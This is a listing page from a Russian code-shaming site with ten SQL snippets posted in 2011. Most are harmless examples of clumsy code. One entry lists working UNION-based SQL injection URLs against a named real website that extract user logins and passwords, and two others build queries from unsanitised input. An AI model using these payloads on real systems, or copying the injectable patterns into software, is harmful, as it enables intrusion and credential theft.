1. SQL / Говнокод #6948

    −121

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    declare
        v_curs sys_refcursor;
        v_on number;
    begin
        open v_curs for 'select rout_num from rout_orders_promotion';
        fetch v_curs into v_on;
        loop
            exit when v_curs%notfound;
            if v_curs%rowcount = 1 then
                null;
            end if;
            fetch v_curs into v_on;
        end loop;
        close v_curs;
    end;

    Если запись одна, тогда уж точно нечего в цикле делать.

    dwinner, 14 Июня 2011

    Комментарии (4)
  2. SQL / Говнокод #6883

    −121

    1. 1
    2. 2
    3. 3
    4. 4
    update RPout
    set ReserveCalculated = round((Base * ElementNorm) /100.0 + 1e-9, 2) * 
    sign(convert(money, floor(Base * ElementNorm) / 100.0)) * sign( 1 + 
    sign(convert(money, floor(Base * ElementNorm) / 100.0)))

    Отрицательные значения изменить на ноль плюс феерическая работа с типами данных.

    Blackened, 07 Июня 2011

    Комментарии (6)
  3. SQL / Говнокод #6762

    −114

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    SELECT DISTINCT
        IF(`Дебет` <> 0, CONVERT('Расход' USING cp1251), CONVERT('Приход' USING cp1251)) AS value
    FROM payments
    ORDER BY
        value
    LIMIT 0,2;

    Получение доступных видов операций ('Приход', 'Расход')

    KiaPlayer, 26 Мая 2011

    Комментарии (12)
  4. SQL / Говнокод #6678

    −113

    1. 1
    SELECT `index`,`title`,`date` FROM news WHERE `groups` LIKE '".$group.",%' or `groups` LIKE '%,".$group.",%'  ORDER BY index desc

    Организация связей таблиц новостей и групп. Поле groups содержит в себе инфу вида "3,43,34,54,56,".

    kakon, 15 Мая 2011

    Комментарии (11)
  5. SQL / Говнокод #6650

    −119

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    $query = "SELECT * FROM ns_preces".
    			 	" inner join ns_group on".
    				" ns_group.groupid=ns_preces.groupid".
     				" WHERE (assortiment=1) ".$group_case." and (proizvod like '%".$_POST["find"]."%' or model like '%".$_POST["find"]."%')";
    			$view_type=4;

    Если значение поля FIND избавляем от пробелов с помощью JavaScrip, разбивается слово в t убираются пробелы, как несколько значений скормить такому запросу ?

    lan-dao, 13 Мая 2011

    Комментарии (16)
  6. SQL / Говнокод #6638

    −108

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users limit 1),3,4,5,6,7,8,9,10,11,12,13  --
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select password from sydney_users limit 1),3,4,5,6,7,8,9,10,11,12,13  --
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select password from sydney_users  limit 1),3,(select login from sydney_users limit 1),5,6,7,8,9,10,11,12,13  --
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(show tables),3,4,5,6,7,8,9,10,11,12,13  --
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users where login like "adm" limit 1),3,4,5,6,7,8,9,10,11,12,13  --
    
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37))) limit 1),3,4,5,6,7,8,9,10,11,12,13  --
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37))) limit 1),3,4,5,6,7,8,9,10,11,12,13  --
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select password from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37))) limit 1),3,(select login from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37)))limit 1),5,6,7,8,9,10,11,12,13  --

    Собственно говоря вспомнил лихие времена.
    Говнокод имел место быть в пхп. Дыра ныне закрыта (не без моей помощи).

    ursus, 12 Мая 2011

    Комментарии (7)
  7. SQL / Говнокод #6622

    −861

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    /* Formatted on 2011/05/11 16:11 (Formatter Plus v4.8.7) */
    CREATE SEQUENCE tmpseq
    /
    CREATE TABLE tmpt(a NUMBER, b NUMBER)
    /
    CREATE OR REPLACE TRIGGER tmpt_bi
       BEFORE INSERT
       ON tmpt
       REFERENCING NEW AS NEW OLD AS OLD
       FOR EACH ROW
    BEGIN
       IF :NEW.a IS NULL
       THEN
          SELECT tmpseq.NEXTVAL
            INTO :NEW.a
            FROM DUAL;
       END IF;
    END;
    /
    DECLARE
       l_a   tmpt.a%TYPE;
       n     NUMBER;
    BEGIN
       FOR n IN 5 .. 8
       LOOP
          INSERT INTO tmpt
                      (b
                      )
               VALUES (n
                      )
            RETURNING a
                 INTO l_a;
    
          DBMS_OUTPUT.put_line (l_a);
       END LOOP;
    END;
    /
    select * from tmpt
    /
    DROP TRIGGER tmpt_bi
    /
    DROP TABLE tmpt
    /
    DROP SEQUENCE tmpseq
    /
    COMMIT

    иногда я не верю мануалам и проверяю себя небольшими кусочками кода. на этот раз я проверил конструкцию returning

    RomaShka, 11 Мая 2011

    Комментарии (3)
  8. SQL / Говнокод #6557

    −187

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    p.name LIKE '0%'
    OR p.name LIKE '1%'
    OR p.name LIKE '2%'
    OR p.name LIKE '3%'
    OR p.name LIKE '4%'
    OR p.name LIKE '5%'
    OR p.name LIKE '6%'
    OR p.name LIKE '7%'
    OR p.name LIKE '8%'
    OR p.name LIKE '9%'

    часть запроса для поиска по названию, начинающемуся с цифры

    NaCilnic, 05 Мая 2011

    Комментарии (23)
  9. SQL / Говнокод #6539

    −850

    1. 1
    -- Таблица в БД имеет колонку Visible, при этом значение 0 означает "Видим", а 1 - "Не видим"

    Ordos, 04 Мая 2011

    Комментарии (9)
  10. SQL / Говнокод #6503

    −864

    1. 1
    2. 2
    comment on column XXX.status
      is '0 -- вопрос включен, 1-- выкл';

    Duke_Raven, 28 Апреля 2011

    Комментарии (5)